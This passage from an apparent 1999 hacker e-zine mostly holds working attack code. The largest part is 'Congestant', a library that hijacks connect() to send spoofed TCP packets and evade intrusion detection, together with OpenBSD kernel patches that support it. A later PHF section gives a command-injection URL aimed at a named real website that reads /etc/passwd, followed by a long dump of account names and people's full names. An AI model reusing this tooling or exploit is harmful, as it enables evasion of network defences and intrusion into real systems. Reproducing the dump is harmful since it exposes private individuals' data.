icmp->icmp_seq=htons(seq); icmp->icmp_id=htons(id); icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN); if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(pkt); close(sock); } /* Our main worker routine. sends a TCP packet */ void cong_send_tcp(long source, long dest,short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen, int cksum, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt,*phtcp; struct cong_pseudo_header *ph; struct cong_ip_header *ip; struct cong_tcp_header *tcp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; sa.sin_port = dport; phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen)); pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen)); ph=(struct cong_pseudo_header *)phtcp; tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN); ip=(struct cong_ip_header *)pkt; ph->saddr=source; ph->daddr=dest; ph->mbz=0; ph->ptcl=IPPROTO_TCP; ph->tcpl=htons(THLEN + dlen); tcp->th_sport=sport; tcp->th_dport=dport; tcp->th_seq=seq; tcp->th_ack=ack; tcp->th_off=THLEN/4; tcp->th_flags=flags; if (ack) tcp->th_flags|=TH_ACK; tcp->th_win=htons(16384); memcpy(&(phtcp[PHLEN+THLEN]),data,dlen); tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum; ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+THLEN+dlen); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP ;//TCP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN); memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen); if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(phtcp); free(pkt); close(sock); } /* Utility routine for data insertion attacks */ void cong_send_data(long source, long dest,short int sport, short int dport, long seq, long ack, int chk, int ttl) { char data[1024]; int i,j; for (i=0;i<8;i++) { for (j=0;j<1024;data[j++]=random()); cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), htonl(ack), TH_PUSH, data, 1024, chk, ttl); } } /* Utility routine for the ttl attack - potentially unreliable */ /* This could be rewritten to look for the icmp ttl exceeded and count * the number of packets it receives, thus going much quicker. */ int cong_find_ttl(long source, long dest) { int sock; long timestamp; struct timeval tv,tvwait; int ttl=0,result=255; char buffer[8192]; int bread; fd_set fds; struct cong_ip_header *ip; struct cong_icmp_header *icmp; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { perror("socket"); exit(1); } tvwait.tv_sec=0; tvwait.tv_usec=500; gettimeofday(&tv,NULL); timestamp=tv.tv_sec+3; // 3 second timeout DEBUG("Determining ttl..."); while(tv.tv_sec<=timestamp) { gettimeofday(&tv,NULL); if (ttl<50) { cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl++); } FD_ZERO(&fds); FD_SET(sock,&fds); select(sock+1,&fds,NULL,NULL,&tvwait); if (FD_ISSET(sock,&fds)) { if (bread=read(sock,buffer,sizeof(buffer))) { /* should we practice what we preach? nah... too much effort :p */ ip=(struct cong_ip_header *)buffer; if (ip->ip_src!=dest) continue; icmp=(struct cong_icmp_header *)(buffer + ((ip->ip_hl)<<2)); if (icmp->icmp_type!=0) continue; if (ntohs(icmp->icmp_seq)icmp_seq); } } } if (cong_debug) fprintf(stderr,"%d\n",result); close(sock); return result; } /* This is our init routine - reads conf env var*/ /* On the glibc box I tested, you cant dlopen from within * _init, so there is a little hack here */ #if __GLIBC__ == 2 int cong_start(void) #else int _init(void) #endif { void *handle; char *conf; #ifndef __OpenBSD__ handle=dlopen(LIB_PATH,1); if (!handle) { fprintf(stderr,"Congestant Error: Can't load libc.\n"); return 0; } #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__ cong_connect = dlsym(handle, "connect"); #else cong_connect = dlsym(handle, "_connect"); #endif if (!cong_connect) { fprintf(stderr,"Congestant Error: Can't find connect().\n"); return -1; } #endif /* not openbsd */ memset(&cong_config,0,sizeof(struct cong_config)); if (conf=getenv("CONGCONF")) { char *token; token=strtok(conf,","); while (token) { if (!strcmp(token,"OH")) cong_config.one_host_attack=1; else if (!strcmp(token,"FS")) cong_config.fin_seq=1; else if (!strcmp(token,"RS")) cong_config.rst_seq=1; else if (!strcmp(token,"SS")) cong_config.syn_seq=1; else if (!strcmp(token,"DS")) cong_config.data_seq=1; else if (!strcmp(token,"FC")) cong_config.fin_chk=1; else if (!strcmp(token,"RC")) cong_config.rst_chk=1; else if (!strcmp(token,"SC")) cong_config.syn_chk=1; else if (!strcmp(token,"DC")) cong_config.data_chk=1; else if (!strcmp(token,"FT")) { cong_config.fin_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"RT")) { cong_config.rst_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DT")) { cong_config.data_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DEBUG")) cong_debug=1; token=strtok(NULL,","); } } else /* default to full sneakiness */ { cong_config.one_host_attack=1; cong_config.fin_seq=1; cong_config.rst_seq=1; cong_config.syn_seq=1; cong_config.data_seq=1; cong_config.syn_chk=1; cong_debug=1; /* assume they have kernel support */ /* attacks are only compiled in under obsd*/ cong_config.data_chk=1; cong_config.fin_chk=1; cong_config.rst_chk=1; cong_config.data_ttl=1; cong_config.fin_ttl=1; cong_config.rst_ttl=1; cong_config.ttl=1; } cong_init=1; } /* This is our definition of connect */ #if (__svr4__ && __sun__) int connect (int __fd, struct sockaddr * __addr, int __len) #else #if __GLIBC__ == 2 int connect __P ((int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)) #else int connect __P ((int __fd, const struct sockaddr * __addr, int __len)) #endif #endif { int result,nl; struct sockaddr_in sa; long from,to; short src,dest; unsigned long fakeseq=424242; int type=SOCK_STREAM; unsigned long realseq=0; unsigned long recvseq=0; int ttl=255,ttlseq; #if __GLIBC__ == 2 if (cong_init==0) cong_start(); #endif if (cong_init++==1) fprintf(stderr,"Congestant v1 by horizon loaded.\n"); /* quick hack so we dont waste time with udp connects */ #ifdef KERNELSUPPORT #ifdef __OpenBSD__ syscall(242,__fd,&type,&realseq,&recvseq); #endif /* openbsd */ if (type!=SOCK_STREAM) { result=syscall(SYS_connect,__fd,__addr,__len); return result; } #endif /* kernel support */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; #if __GLIBC__ == 2 to=__addr.__sockaddr_in__->sin_addr.s_addr; dest=__addr.__sockaddr_in__->sin_port; #else to=((struct sockaddr_in *)__addr)->sin_addr.s_addr; dest=((struct sockaddr_in *)__addr)->sin_port; #endif if (cong_config.one_host_attack) { cong_send_tcp(inet_addr(FAKEHOST), to, 4242, dest, 0, 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Spoofed Fake SYN Packet\n"); } if (cong_config.syn_chk) { /* This is a potential problem that could mess up * client programs. If necessary, we bind the socket * so that we can know what the source port will be * prior to the connection. */ if (src==0) { bind(__fd,(struct sockaddr *)&sa,nl); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; } cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0, TH_SYN, NULL, 0,100, 254); DEBUG("Sent Pre-Connect Desynchronizing SYN.\n"); fakeseq++; } DEBUG("Connection commencing...\n"); #ifndef __OpenBSD__ result=cong_connect(__fd,__addr,__len); #else /* not openbsd */ result=syscall(SYS_connect,__fd,__addr,__len); #endif if (result==-1) { if (errno!=EINPROGRESS) return -1; /* Let's only print the warning once */ if (cong_init++==2) fprintf(stderr,"Warning: Non-blocking connects might not work right.\n"); } /* In case an ephemeral port was assigned by connect */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; if (cong_config.syn_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Sent Desynchronizing SYNs.\n"); } if (cong_config.data_seq) { cong_send_data(from,to,src,dest,(fakeseq),0,0,254); DEBUG("Inserted 8K of data with incorrect sequence numbers.\n"); fakeseq+=8*1024; } if (cong_config.fin_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); DEBUG("Spoofed FINs with incorrect sequence numbers.\n"); } if (cong_config.rst_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); DEBUG("Spoofed RSTs with incorrect sequence numbers.\n"); } #ifdef KERNELSUPPORT #ifdef __OpenBSD__ if (cong_config.ttl==1) if (cong_ttl_cache!=to) { ttl=cong_find_ttl(from,to)-1; cong_ttl_cache=to; cong_ttl=ttl; } else ttl=cong_ttl; if (ttl<0) { fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n"); cong_config.data_ttl=0; cong_config.fin_ttl=0; cong_config.rst_ttl=0; ttl=0; } syscall(242,__fd,&type,&realseq,&recvseq); ttlseq=realseq; #endif /*openbsd */ if (cong_config.data_ttl) { cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl); DEBUG("Inserted 8K of data with short ttl.\n"); ttlseq+=1024*8; } if (cong_config.fin_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); DEBUG("Spoofed FINs with short ttl.\n"); } if (cong_config.rst_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); DEBUG("Spoofed RSTs with short ttl.\n"); } if (cong_config.data_chk) { cong_send_data(from,to,src,dest,(realseq),recvseq,100,254); DEBUG("Inserted 8K of data with incorrect TCP checksums.\n"); realseq+=1024*8; } if (cong_config.fin_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); DEBUG("Spoofed FINs with incorrect TCP checksums.\n"); } if (cong_config.rst_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); DEBUG("Spoofed RSTs with incorrect TCP checksums.\n"); } #endif /* kernel support */ return result; } <--> <++> congestant/netinet.patch Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h --- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998 +++ netinet/in.h Tue Dec 8 10:48:33 1998 @@ -325,7 +325,10 @@ #define IPCTL_IPPORT_LASTAUTO 8 #define IPCTL_IPPORT_HIFIRSTAUTO 9 #define IPCTL_IPPORT_HILASTAUTO 10 -#define IPCTL_MAXID 11 +#define IPCTL_FRAG_HACK_HEAD 11 +#define IPCTL_FRAG_HACK_BODY 12 +#define IPCTL_OPTIONS_HACK 13 +#define IPCTL_MAXID 14 #define IPCTL_NAMES { \ { 0, 0 }, \ @@ -339,6 +342,9 @@ { "portlast", CTLTYPE_INT }, \ { "porthifirst", CTLTYPE_INT }, \ { "porthilast", CTLTYPE_INT }, \ + { "fraghackhead", CTLTYPE_INT }, \ + { "fraghackbody", CTLTYPE_INT }, \ + { "optionshack", CTLTYPE_INT }, \ } #ifndef _KERNEL diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c --- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998 +++ netinet/ip_input.c Tue Dec 8 10:48:33 1998 @@ -106,6 +106,10 @@ extern int ipport_hilastauto; extern struct baddynamicports baddynamicports; +extern int ip_fraghackhead; +extern int ip_fraghackbody; +extern int ip_optionshack; + extern struct domain inetdomain; extern struct protosw inetsw[]; u_char ip_protox[IPPROTO_MAX]; @@ -1314,6 +1318,15 @@ case IPCTL_IPPORT_HILASTAUTO: return (sysctl_int(oldp, oldlenp, newp, newlen, &ipport_hilastauto)); + case IPCTL_FRAG_HACK_HEAD: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackhead)); + case IPCTL_FRAG_HACK_BODY: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackbody)); + case IPCTL_OPTIONS_HACK: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_optionshack)); default: return (EOPNOTSUPP); } diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c --- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998 +++ netinet/ip_output.c Tue Dec 8 11:00:14 1998 @@ -88,6 +88,10 @@ extern int ipsec_esp_network_default_level; #endif +int ip_fraghackhead=0; +int ip_fraghackbody=0; +int ip_optionshack=0; + /* * IP output. The packet in mbuf chain m contains a skeletal IP * header (with len, off, ttl, proto, tos, src, dst). @@ -124,6 +128,9 @@ struct inpcb *inp; #endif + /* HACK */ + int fakeheadmtu; + va_start(ap, m0); opt = va_arg(ap, struct mbuf *); ro = va_arg(ap, struct route *); @@ -144,7 +151,50 @@ m = ip_insertoptions(m, opt, &len); hlen = len; } + /* HACK */ + else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + { + struct mbuf *n=NULL; + register struct ip* ip= mtod(m, struct ip*); + + if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat) + { + MGETHDR(n, M_DONTWAIT, MT_HEADER); + if (n) + { + n->m_pkthdr.len = m->m_pkthdr.len + 40; + m->m_len -= sizeof(struct ip); + m->m_data += sizeof(struct ip); + n->m_next = m; + m = n; + m->m_len = 40 + sizeof(struct ip); + m->m_data += max_linkhdr; + bcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + } + } + else + { + m->m_data -= 40; + m->m_len += 40; + m->m_pkthdr.len += 40; + ovbcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + n++; /* make n!=0 */ + } + if (n!=0) + { + ip = mtod(m, struct ip *); + memset((caddr_t)(ip+1),0,40); + ip->ip_len += 40; + + hlen=60; + len=60; + } + } + ip = mtod(m, struct ip *); + /* * Fill in IP header. */ @@ -721,7 +771,15 @@ /* * If small enough for interface, can just send directly. */ - if ((u_int16_t)ip->ip_len <= ifp->if_mtu) { + + /* HACK */ + + fakeheadmtu=ifp->if_mtu; + + if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + fakeheadmtu=ip_fraghackhead; + + if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) { ip->ip_len = htons((u_int16_t)ip->ip_len); ip->ip_off = htons((u_int16_t)ip->ip_off); ip->ip_sum = 0; @@ -738,7 +796,10 @@ ipstat.ips_cantfrag++; goto bad; } - len = (ifp->if_mtu - hlen) &~ 7; + +/* HACK */ + + len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7; if (len < 8) { error = EMSGSIZE; goto bad; @@ -748,6 +809,9 @@ int mhlen, firstlen = len; struct mbuf **mnext = &m->m_nextpkt; + /*HACK*/ + int first=0; + /* * Loop through length of segment after first fragment, * make new header and copy data of each part and link onto chain. @@ -755,7 +819,9 @@ m0 = m; mhlen = sizeof (struct ip); for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) { - MGETHDR(m, M_DONTWAIT, MT_HEADER); + if (first && ip_fraghackbody) + len=(ip_fraghackbody-hlen) &~7; + MGETHDR(m, M_DONTWAIT, MT_HEADER); if (m == 0) { error = ENOBUFS; ipstat.ips_odropped++; @@ -791,6 +857,7 @@ mhip->ip_sum = 0; mhip->ip_sum = in_cksum(m, mhlen); ipstat.ips_ofragments++; + first=1; } /* * Update first fragment by trimming what's been copied out Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c --- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998 @@ -465,3 +465,18 @@ if (tp) tp->snd_cwnd = tp->t_maxseg; } + +/* HACK - This is a tcp subroutine added to grab the sequence numbers */ + +void tcp_getseq(struct socket *so, struct mbuf *m) +{ + struct inpcb *inp; + struct tcpcb *tp; + + if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp))) + { + m->m_len=sizeof(unsigned long)*2; + *(mtod(m,unsigned long *))=tp->snd_nxt; + *((mtod(m,unsigned long *))+1)=tp->rcv_nxt; + } +} diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c --- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998 @@ -363,6 +363,10 @@ in_setsockaddr(inp, nam); break; + case PRU_SOCKINFO: + tcp_getseq(so,m); + break; + case PRU_PEERADDR: in_setpeeraddr(inp, nam); break; diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h --- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998 +++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998 @@ -291,6 +291,8 @@ void tcp_pulloutofband __P((struct socket *, struct tcpiphdr *, struct mbuf *)); void tcp_quench __P((struct inpcb *, int)); +/*HACK*/ +void tcp_getseq __P((struct socket *, struct mbuf *)); int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *)); void tcp_respond __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int)); <--> <++> congestant/kern.patch --- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998 +++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998 @@ -924,6 +924,53 @@ } /* + * Get socket information. HACK + */ + +/* ARGSUSED */ +int +sys_getsockinfo(p, v, retval) + struct proc *p; + void *v; + register_t *retval; +{ + register struct sys_getsockinfo_args /* { + syscallarg(int) fdes; + syscallarg(int *) type; + syscallarg(int *) seq; + syscallarg(int *) ack; + } */ *uap = v; + struct file *fp; + register struct socket *so; + struct mbuf *m; + int error; + + if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0) + return (error); + + so = (struct socket *)fp->f_data; + + error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short)); + + if (!error && (so->so_type==SOCK_STREAM)) + { + m = m_getclr(M_WAIT, MT_DATA); + if (m == NULL) + return (ENOBUFS); + + error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0); + + if (!error) + error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long)); + if (!error) + error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long)); + m_freem(m); + } + + return error; +} + +/* * Get name of peer for connected socket. */ /* ARGSUSED */ --- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998 +++ kern/syscalls.master Thu Dec 3 11:14:44 1998 @@ -476,7 +476,8 @@ 240 STD { int sys_nanosleep(const struct timespec *rqtp, \ struct timespec *rmtp); } 241 UNIMPL -242 UNIMPL +242 STD { int sys_getsockinfo(int fdes, int *type, \ + int *seq, int *ack); } 243 UNIMPL 244 UNIMPL 245 UNIMPL <--> <++> congestant/sys.patch --- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998 +++ sys/protosw.h Thu Dec 3 11:16:41 1998 @@ -148,8 +148,8 @@ #define PRU_SLOWTIMO 19 /* 500ms timeout */ #define PRU_PROTORCV 20 /* receive from below */ #define PRU_PROTOSEND 21 /* send to below */ - -#define PRU_NREQ 21 +#define PRU_SOCKINFO 22 +#define PRU_NREQ 22 #ifdef PRUREQUESTS char *prurequests[] = { @@ -158,7 +158,7 @@ "RCVD", "SEND", "ABORT", "CONTROL", "SENSE", "RCVOOB", "SENDOOB", "SOCKADDR", "PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO", - "PROTORCV", "PROTOSEND", + "PROTORCV", "PROTOSEND", "SOCKINFO", }; #endif <--> ----[ EOF @HWA From: Dragos Ruiu To: Sent: Wednesday, October 06, 1999 5:39 AM Subject: puzzlecrypt(tm--dr) (hint:sploit against dr) challengeracequery:whatisbelow-goal?{retfmt:puzzlecrypt/rfc822}+bonus4exe+gu essok. z()=print(exefor(i->len)cat(tx([ipaddr:43],"\b*10^3""|bufoverseqntregretkeyf indrexp(HK*.imail*.\dr)[i]-(lsb(i)?1'r':0'd')|&0x7f"))). yellforhint(dr)=if(loop(1)). === --dr kyx.net - we're from the future - home of Kanga-Foo! ============================================================================== 02.0 From the editor. ~~~~~~~~~~~~~~~~ #include #include #include main() { printf ("Read commented source!\n\n"); /* I messed up, our birthday is NEXT month not Oct 13th but Nov 13th, my bad * blame the dr00gz... so we'll do something special then ok? ok. * * There's lots going on around the underground, unfortunately I can't * talk about a lot of it for legal reasons... anyway here we are with * another issue of HWA for your perusal, enjoy this week's issue. * * * Cruciphux */ printf ("EoF.\n"); } Congrats, thanks, articles, news submissions and kudos to us at the main address: hwa@press.usmc.net complaints and all nastygrams and mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to 127.0.0.1, private mail to cruciphux@dok.org danke. C*:. 03.0 PHF revisited ~~~~~~~~~~~~~ As printed in last weeks issue as part of another article it was mentioned that the phf bug is one way into a system with lax security, and yes there are still sites out there that are vulnerable to this flaw. This was inspired by watching someone join #hack from www.monicalewinsky.com which got me to wondering how they happened to come from that address assuming they didn't have legit access to the box. http://www.monicalewinsky.com/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd Query Results /usr/local/bin/ph -m alias=x cat /etc/passwd root:*:0:0:System Administrator:/root:/bin/bash daemon:*:1:1:System Daemon:/:/sbin/nologin sys:*:2:2:Operating System:/tmp:nologin bin:*:3:7:BSDI Software:/usr/bsdi:nologin operator:*:5:5:System Operator:/usr/opr:nologin uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico games:*:7:13:Games Pseudo-user:/usr/games:nologin news:*:9:8:USENET News,,,:/var/news/etc:nologin demo:*:10:13:Demo User:/usr/demo:nologin ftp:*:50:32766:Anonymous FTP,,,:/var/spool/ftp:/dev/null www:*:51:84:WWW-server:/var/www:nologin radius:*:52:52:Radius Server:/etc/raddb:/sbin/nologin nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin superuser:*:129:100:superuser,,,:/tmp:nologin hamlin:*:100:0:Griff Hamlin,,,:/users/hamlin:/bin/bash heredia:*:101:0:Al,,,:/users/heredia:/bin/bash ger:*:102:0:Ger Thrond,,,:/users/ger:/bin/ksh siteleader:*:102:100:Al,,,:/users/siteleader:/bin/bash 1stdomain:*:798:100:1stdomainname:/users/1stdomain:/bin/bash aaikuta:*:998:100:A O Aikuta:/users/aaikuta:/bin/bash abossig:*:851:100:Alice R Bossig:/users/abossig:/bin/bash abrightman:*:356:100:Alan Brightman:/users/abrightman:/bin/bash achinapa:*:1033:100:Ajeeth Chinapa:/users/achinapa:/bin/bash acochois:*:562:100:ANDRE COCHOIS:/users/acochois:/bin/bash adomingo:*:1191:100:young:/users/adomingo:/bin/bash afeuz:*:775:100:Andreas Feuz:/users/afeuz:/bin/bash agilby:*:820:100:ADRIAN J GILBY:/users/agilby:/bin/bash agrudko:*:907:100:A.P.A. GRUDKO:/users/agrudko:/bin/bash aholder:*:951:100:Albert Holder:/users/aholder:/bin/bash aimregh:*:637:100:Agnes E. Imregh:/users/aimregh:/bin/bash alattanner:*:581:100:Alan V. Lattanner:/users/alattanner:/bin/bash alieben:*:714:100:Aaron D Lieben:/users/alieben:/bin/bash amathur:*:807:100:AVINASH MATHUR:/users/amathur:/bin/bash amay:*:928:100:A W MAY:/users/amay:/bin/bash ameisl:*:766:100:A Meisl :/users/ameisl:/bin/bash amelendez:*:320:100:Alma R. Melendez:/users/amelendez:/bin/bash anair:*:875:100:Amit Nair:/users/anair:/bin/bash aoker:*:534:100:a suha oker:/users/aoker:/bin/bash arao:*:953:100:Anand V Rao:/users/arao:/bin/bash arao2:*:954:100:Anand V Rao:/users/arao2:/bin/bash araskin:*:1158:100:ALLAN RASKIN:/users/araskin:/bin/bash arogos:*:738:100:Doug Smith:/users/arogos:/bin/bash arogos1:*:740:100:Doug Smith:/users/arogos1:/bin/bash aschulenburg1:*:484:100:A H Schulenburg:/users/aschulenburg1:/bin/bash asmith:*:773:100:Aristea Smith:/users/asmith:/bin/bash astewart:*:522:100:Anton Stewart:/users/astewart:/bin/bash atindall:*:485:100:Anne Elizabeth Tindall:/users/atindall:/bin/bash awright:*:1110:100:Alison Wright:/users/awright:/bin/bash babernathy:*:252:100:Bill Abernathy:/users/babernathy:/bin/bash balhad:*:1174:100:Basen Saif Alhadrami:/users/balhad:/bin/bash batkinson:*:876:100:Bevis Atkinson:/users/batkinson:/bin/bash begray:*:168:100:ben c gray:/users/begray:/bin/bash bferg:*:1011:100:Bob S. Ferguson:/users/bferg:/bin/bash bferguson1:*:1000:100:bob s ferguson:/users/bferguson1:/bin/bash bgray:*:152:100:ben c gray:/users/bgray:/bin/bash bgriffiths:*:1154:100:Blagart S. Griffiths:/users/bgriffiths:/bin/bash bguthrie:*:1118:100:Bernard F. Guthrie Jr.:/users/bguthrie:/bin/bash bheising:*:850:100:B H Heising:/users/bheising:/bin/bash bhogan:*:533:100:Bernard J. Hogan:/users/bhogan:/bin/bash bliddy:*:372:100:Bruce Liddy:/users/bliddy:/bin/bash brothausen:*:693:100:Bue Rothausen:/users/brothausen:/bin/bash bstanger:*:1139:100:Bradley G Stanger:/users/bstanger:/bin/bash bstrausbaugh:*:1008:100:BRADLEY D STRAUSBAUGH:/users/bstrausbaugh:/bin/bash btanner:*:1195:100:Btanner:/users/btanner:/bin/bash burley:*:585:100:John Burley:/users/burley:/bin/bash bwilliams:*:949:100:Bonnie Williams:/users/bwilliams:/bin/bash carmstrong1:*:370:100:Carig Armstrong:/users/carmstrong1:/bin/bash cbarker:*:966:100:Craig A. Barker:/users/cbarker:/bin/bash cbellizzi:*:801:100:Cathy P Bellizzi:/users/cbellizzi:/bin/bash ccasagrande:*:354:100:christian e casagrande:/users/ccasagrande:/bin/bash ccasey:*:889:100:Carol Casey:/users/ccasey:/bin/bash cchu:*:433:100:Chih-Pin Chu:/users/cchu:/bin/bash cerezo:*:124:100:P.Garica-Berdoy Cerezo:/users/cerezo:/bin/bash cfischer:*:1122:100:C Fischer:/users/cfischer:/bin/bash cfraser:*:1166:100:Cecil Fraser:/users/cfraser:/bin/bash cfraser2:*:1169:100:Cecil G. Fraser:/users/cfraser2:/bin/bash cgalu1:*:840:100:Christian A Galu:/users/cgalu1:/bin/bash cgalu2:*:841:100:Christian A Galu:/users/cgalu2:/bin/bash cgraham:*:885:100:Chris Graham:/users/cgraham:/bin/bash chayes:*:644:100:christopher hayes:/users/chayes:/bin/bash chilkov:*:128:100:jill chilkov:/users/chilkov:/bin/bash cholmquist:*:790:100:Charlotte Holmquist:/users/cholmquist:/bin/bash chunt:*:909:100:Carla Hunt:/users/chunt:/bin/bash cishikawa:*:796:100:Christine Ishikawa:/users/cishikawa:/bin/bash cjohnson:*:535:100:Chloe R. Johnson:/users/cjohnson:/bin/bash clarsson:*:1002:100:Claes Larsson:/users/clarsson:/bin/bash clieber:*:658:100:Christopher A. Lieber:/users/clieber:/bin/bash cmacdonald:*:488:100:Clark MacDonald:/users/cmacdonald:/bin/bash cmaglaque:*:957:100:Chad Maglaque:/users/cmaglaque:/bin/bash cmccarthy:*:819:100:Colin D McCarthy:/users/cmccarthy:/bin/bash cmnicoll:*:438:100:Charles A. McNicoll:/users/cmnicoll:/bin/bash cmohr:*:1109:100:Craig Mohr:/users/cmohr:/bin/bash cnelson:*:786:100:Christopher Nelson:/users/cnelson:/bin/bash cphillips:*:1184:100:Craig Phillips:/users/cphillips:/bin/bash cpierre:*:685:100:Connie St.Pierre:/users/cpierre:/bin/bash cskeete:*:531:100:CP Skeete:/users/cskeete:/bin/bash 